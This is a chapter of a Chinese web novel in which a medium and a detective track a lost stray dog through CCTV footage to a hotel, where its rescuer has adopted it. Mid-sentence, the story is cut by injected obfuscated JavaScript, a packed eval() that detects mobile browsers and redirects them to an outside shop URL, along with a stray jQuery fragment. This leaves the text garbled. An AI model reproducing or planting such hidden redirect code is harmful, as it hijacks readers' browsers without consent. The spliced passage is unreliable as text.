卫风絮脚踩着高跟鞋往外走,每一步都狠狠踩中宋烟川内心的疑虑。
那个前进的背影太过坚定,对于自己即将去做的事没有丝毫犹豫,叫一直等着看好戏的人生出些惭愧。
这还是骗子灵媒吗?
是良心发现,还是收买人心?
先入为主的刻板印象在此刻崩塌,宋烟川忍不住对任务的准确性产生怀疑。
这样的人真的与江氏集团勾结吗?
走在前面的卫风絮陡然回头,“知道阿旺最后一次来小区是什么时候吗?”
眼神碰撞,宋烟川浑身一激灵,甩掉脑海中繁杂的思绪,重新集中注意力,现在不是胡思乱想的时候。
“嗯,五天前下午,大约5点,流浪狗再次来到小区,被保安拦在小区门口,用棍子驱离,后来就再没出现过了。”宋烟川仔细回忆监控视频中看到的情形。
说话间已经到了小区外,卫风絮站在路边,两只手各指一边,问:“左边,还是右边?”
问得没头没尾,好在宋烟川能理解,带着她往左手边转了个弯。
“流浪狗往左边跑了,你打算怎么找?”宋烟川回答后,又提出疑问。
卫风絮耸耸肩,脸上看不出任何情绪,“总有眼睛看见它往哪儿跑吧,一路问呗。”
卫风絮让他开着车沿路寻找,每到一个路口,就在附近寻找门口有监控的店铺,确认阿旺离开的方向。至于交涉的事,妥妥落到了宋烟川这个打工人身上。
“你就说你儿子走丢了,最好装出一副快急哭的模样,总会有人心软愿意帮忙。”
卫风絮坐在后座,煞有介事地传授经验。
这一刻,宋烟川恍然大悟:难怪这么好心帮忙找狗了,原来干活的是我啊!
心有怨言,面上却没表露,他咬着牙,挤出微笑,回应道:“还得是卫大师啊,脑袋真好用。”
卫风絮嗅到一股阴阳怪气的味道,奈何没有证据。
宋烟川没多说什么,顺从下车前往店铺查看监控视频,不过并没有参考卫风絮的说辞,而是表明刑警身份,让老板行个方便。
就这么一路走走停停,有时因监控死角丢失方向,他们不得不每个方向都走走看,错了再退回;有时到了车辆无法通行的区域,只能先下车确定,再开车绕路前进……
两人从上午一直找到下午,足足花了4个小时,总算找到了阿旺的去向。
“5天前啊,有只流浪狗过街让车撞了,车主好像把狗送到附近宠物医院去了。”
在附近目击了事故全过程的看门大爷如是说。
宋烟川连声道谢,重新回到车上,将消息告知卫风絮。
“去宠物医院问问,应该能有结果。”卫风絮说着拿出手机,开始在地图上查询起附近的宠物医院。
循着定位到了目的地,宋烟川进宠物医院一问,果然锁定了阿旺在哪里。
“5天前确实有人送了只被撞伤脚的流浪狗到店里治疗,我看了店里监控,就是阿旺。”宋烟川回到车上,转头向卫风絮汇报。
“现在呢?没在店里?”卫风絮手搭在副驾驶座靠背上,身子坐得笔直,眼中难掩焦急。
宋烟川摇头,“治疗结束后第二天,那名车主将流浪狗带走了,说是准备领养。”
“有联系方式吗?”卫风絮又问。
“有,车主用了微信支付,店主帮我联系了对方,也要到了对方的手机号。”宋烟川坦然回答,同时晃了晃手机,“地址已经问到了,狗也还跟他在一起,现在要去吗?”
“去!”
简短的一个字从卫风絮嘴里蹦出,她重新靠坐回座椅上,抽出安全带系好,用眼神催促宋烟川出发。
就在她系好安全带抬头的瞬间,宋烟川一脚油门踩了下去,车内即刻响起尖锐的呐喊:
“大哥,我们不赶时间!”
十来分钟后,车驶入白鹇酒店地下停车场,卫风絮推门下车,扶着车门深呼吸,心里不住咒骂宋烟川,发誓不再搭他的车。
宋烟川从车头绕到她身边,浑然不觉哪里不妥,拿出手机确认着房间号。
冷不丁,卫风絮问了句:“你以前的工作不是保镖吗?”
翻找微信聊天记录的手指骤然停顿,背后升起一阵凉意,宋烟川脖子僵硬地抬起头,强掩心虚,“是保镖啊,怎么了?”
对上卫风絮质疑的眼神,他喉头微动,努力控制加速的心跳。
一声冷哼从鼻腔传出,卫风絮轻笑讥讽:“开车跟不要命一样,后面有警察追你吗?我看你以前不是保镖,是劫匪吧。”
宋烟川顿时松了口气,以玩笑的口吻回应:“以前的雇主经常被人追杀,开快些,保命。”
看似玩笑,卫风絮却深信不疑。
“咳,我还没到这种程度,你不用拼命。”
嘴上这么说,她心里却在抱怨:要拼也别拿我的命去拼!
被卫风絮不满的眼神一直瞪着,宋烟川赶紧转移她的注意力,“这不为了让卫大师早点下班嘛,走吧,楼上807。”
说完,不等卫风絮回应,他先一步往电梯方向走去。
卫风絮无奈,只得收拾好心情,慢步跟在后面,顺便问道:“那人来旅游吗,怎么还住酒店?白鹇酒店还允许带宠物入驻,不能吧?”
不断有问题从身后传来,宋烟川没敢怠慢,边走边告知了解到的部分情况。
原来那名车主是林栖公寓大楼的租客,房子恰巧在这次大火中受灾,于是被林氏集团临时安置到白鹇酒店。
“特殊情况特殊处理,宠物也就一同住进了酒店。”宋烟川说出自己的猜想。
听到这个消息,卫风絮有些意外,忍不住感叹:“真是巧了。”
当两人进了807房门见到车主后,才知还有更巧的事。
“原本将吉祥带回家,是想着帮忙找人领养,没想到,那晚大火,它反倒救了我一命。要不是它不停乱叫,还咬着我裤腿不放,我可能都发现不了火情,也没法及时逃下楼。”
回忆起那晚的事,车主心有余悸,看向被他取名为“吉祥”的流浪狗,眼神自然流露出感激之情。
卫风絮正蹲在地上,用手里的素白瓷碗逗着寻找许久的阿旺,声音无限温柔着询问:“你又有新名字了吗?那你想让我叫你吉祥,还是阿旺呢?”
这种问题,小狗自然没法回答。
小狗右后腿打着石膏绷带,黑色纽扣一样的鼻子一抽一抽,小心翼翼靠近瓷碗,嗅着上面的味道。
大概是闻出碗上熟悉的气味,小狗对卫风絮的戒心减轻,张嘴吐着舌头,任由她抚摸自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769526|209803||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
毛茸茸的脑袋。
宋烟川瞥一眼对交涉毫无兴趣反而热衷于与狗亲近的卫风絮,自觉揽下交涉一职。
“之前来不及在微信里说明情况,其实我们是帮委托人来寻狗的。”
车主闻言大喜,“吉祥有主人?”
“不,它是流浪狗,只是委托人的奶奶经常投喂,对狗有些感情。”宋烟川实话实说。
对于这个答案,车主有些失望,不过很快又振作起精神,“嗐,没主人也没事,我这两天正考虑收养吉祥,它算是我的福星。”
他原本给小狗取“吉祥”这个名字,只是因为无意中撞伤了小狗,希望无辜的小狗能遇难成祥、逢凶化吉,未曾想最终化险为夷的是他自己。
经此一难,他打消了为小狗另寻去处的想法,决定成为小狗的主人。
也正是这个时候,卫风絮和宋烟川找上了门。
宋烟川用手机拍了一张流浪狗的照片,发送给欧杨雪,并告知如今的情况,让她代为转告谢伊。
处理完急需交代的事,宋烟川转向车主,无奈道:“老人家或许会想见吉祥一面,到时候还请行个方便。”
“小事一桩,你有我联系方式,随时联系我都成。”车主慷慨回应。
在807房中小坐一会儿,车主送卫风絮和宋烟川出了门,小狗不舍地跟在卫风絮身后。
卫风絮蹲下身,揉着小狗的脑袋跟它道别。
不过比起她,小狗更在意她手里的瓷碗,不停张嘴咬碗,喉咙里还发出“哼哼唧唧”的声音。
“嗯?你是想要这个碗,还是想奶奶了?”
卫风絮半句话没跟车主说,倒是跟没法说人话的小狗说个不停。
车主没太在意,反而对卫风絮的穿着甚是好奇,扭头问宋烟川:“你们是私人侦探吗,怎么还帮人找狗?”
“属于刻板印象了啊,看我们卫大师这身略带神秘色彩的打扮,难道看不出吗?”宋烟川半吹捧,半调侃地反问。
车主偷偷看了一眼卫风絮,毫无头绪,尴尬地挠了挠头,苦笑耳语:“敢问是什么大师?”
宋烟川半拢着嘴,悄声递话:“灵媒。”
车主立马装出一副恍然大悟的样子,捧场道:“哦,灵媒大师,失敬失敬,难怪能这么快找到我这里来,果然法力非凡。”
卫风絮松了拿碗的手,任小狗叼着瓷碗返回房间,起身抚平衣摆褶皱,优雅立在门边,面无表情地抢在宋烟川开口前回答:“我们是查监控找过来的。”
拍马屁拍错了方向,车主笑容顷刻间凝固,手足无措地看向宋烟川。
宋烟川憋着笑,帮忙打圆场,“灵媒也要与时俱进嘛,找死人用法力,找活狗用科技。”
三人正告辞,一个路过走廊的男人听到三人闲聊,忽地停下脚步,一把揪住了卫风絮的胳膊,嘴里急切呼喊。
“大师,你是大师,帮帮我,大师,让我见见我老婆,我救救你了大师……”
那男人一脸憔悴,一手抓住卫风絮,一手抓着自拍杆,自拍杆连接的手机正用前置摄像头自拍,屏幕上显示直播画面。
卫风絮一头雾水,连连后退,宋烟川一个箭步上前,挡在了卫风絮与奇怪男人之间。
“松手!”宋烟川一脸烦躁地扼住奇怪男人手腕,杀气腾腾地命令。